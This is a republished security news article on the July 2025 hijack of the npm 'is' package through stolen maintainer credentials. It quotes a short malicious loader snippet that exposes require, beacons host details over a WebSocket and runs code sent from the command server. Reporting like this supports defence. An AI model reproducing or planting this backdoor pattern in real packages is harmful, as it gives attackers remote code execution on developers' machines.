npm ‘is’ Package With 2.8M Weekly Downloads Weaponized to Attack Developers

npm ‘is’ Package With 2.8M Weekly Downloads Weaponized to Attack Developers

The latest wave of npm-centric phishing has taken a darker turn with the hijack of the ubiquitous is utility, a module pulled 2.8 million times every week.

On 19 July 2025 attackers, armed with stolen maintainer credentials, slipped malicious versions 3.3.1 and 5.0.0 into the registry, seamlessly propagating the backdoor through ordinary dependency resolution.

The same threat actor simultaneously poisoned eslint-config-prettier, got-fetch, and other popular packages, demonstrating a coordinated supply-chain assault reminiscent of SolarWinds but aimed squarely at JavaScript developers.

Google News

Once inside a project the compromised is release runs instantly on macOS, Linux, and Windows, distinguishing it from the Windows-only DLL embedded in the tainted eslint-config-prettier.

Socket.dev analysts identified a heavily obfuscated JavaScript loader that reconstructs its payload in memory, leaving no human-readable artefacts on disk.

Their telemetry shows the malware harvesting hostnames, OS details, CPU data, and every variable in process.env before tunnelling that intelligence to a WebSocket command-and-control (C2) endpoint.

npm ‘is’ Package With 2.8M Weekly Downloads Weaponized to Attack Developers
Heavily‑obfuscated JavaScript loader (Source – Socket.dev)

While this captures the live beacon in transit. The fallout is already tangible: one developer reported Chrome security flags, forced SSD replacement, and wholesale credential rotation after discovering the infostealer had tampered with .npmrc and .gitconfig.

Because the malware overwrites its own index.js, simple npm uninstall commands fail to eradicate the threat; lockfiles must be purged and environments rebuilt from clean sources.

Infection Mechanism

At the heart of the attack lies a minimalist yet potent snippet inserted at the top of the package’s entry point.

After exposing Node’s internal require via a deceptive getter, the code dynamically imports the ws library, opens an encrypted WebSocket, fingerprints the host, and then executes any JavaScript streamed from the C2—effectively granting the adversary an interactive shell.

get "switch"() { return require; }          // bypass restricted contexts
const os = this.switch("os");
const WS = this.switch("ws");
const sock = new WS("wss://");
sock.onopen = () => sock.send(JSON.stringify({
  host: os.hostname(), plat: os.platform(), cwd: process.cwd()
}));
sock.onmessage = ({data}) => { new Function(data)(); }; // RCE

This in-memory execution chain sidesteps static analysis engines and persists by rewriting itself, ensuring the compromised package remains a ticking time-bomb long after initial installation.

Experience faster, more accurate phishing detection and enhanced protection for your business with real-time sandbox analysis-> Try ANY.RUN now


Source link

About Cybernoz

Security researcher and threat analyst with expertise in malware analysis and incident response.